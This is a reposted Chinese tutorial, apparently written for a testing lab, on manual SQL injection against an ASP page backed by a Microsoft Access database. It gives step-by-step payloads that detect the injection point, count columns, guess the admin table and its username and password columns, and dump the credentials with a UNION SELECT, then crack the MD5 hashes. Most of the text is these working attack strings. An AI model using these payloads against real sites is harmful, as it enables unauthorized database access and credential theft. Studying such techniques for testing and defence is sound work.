SQL手工注入漏洞测试(Access数据库)

来源:07素材网 昨天 19:21:56

Access数据库的SQL手工注入,用联合语句显示可显字段时,必须要“from 表名”。

1、判断注入点。

Description

/new_list.asp?id=1 and 1=1访问成功;/new_list.asp?id=2 and 1=2访问失败。

2、判断列的情况。

order by x,x=1、2、3、4时成功,5、6时失败。

/new_list.asp?id=2 order by 4;

3、测试关键表名,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名。通常access数据库都有admin表;

Description

and exists(select count(*) from admin),页面返回正常,说明存在admin表。

4、 查找回显字段。

Description

5、枚举字段:正常则页面不报错;通常access表会存在以下三个字段;

id,username,passwd或者password

id=1 and exists(select id from admin) //页面返回正常,说明存在id列 id=1 and exists(select username from admin) //页面返回正常,说明存在username列 id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列 Description

6、查询用户和密码。

/new_list.asp?id= 1 union select 1,username,passwd,4 from admin Description

7、MD5网站解码成功。

Description

原文出处:https://www.jianshu.com/p/e6c696fc4c1e
版权声明:本文来源地址若非本站均为转载,若侵害到您的权利,请及时联系我们,我们会在第一时间进行处理。

头条

在使用SQLite3时遇到的几个坑

在使用SQLite3时遇到的几个坑

《本打算在SQLite3数据库里执行一个查询语句,使用的是php语言,起初遇到的是权限问题: permission denied,因为SQLite3数据库文件和PHP执行者属于两个不同的用户,首先需要对这个文件执行mode 777的权限开放,然后,又遇到了下面这样的PHP错误

相关推荐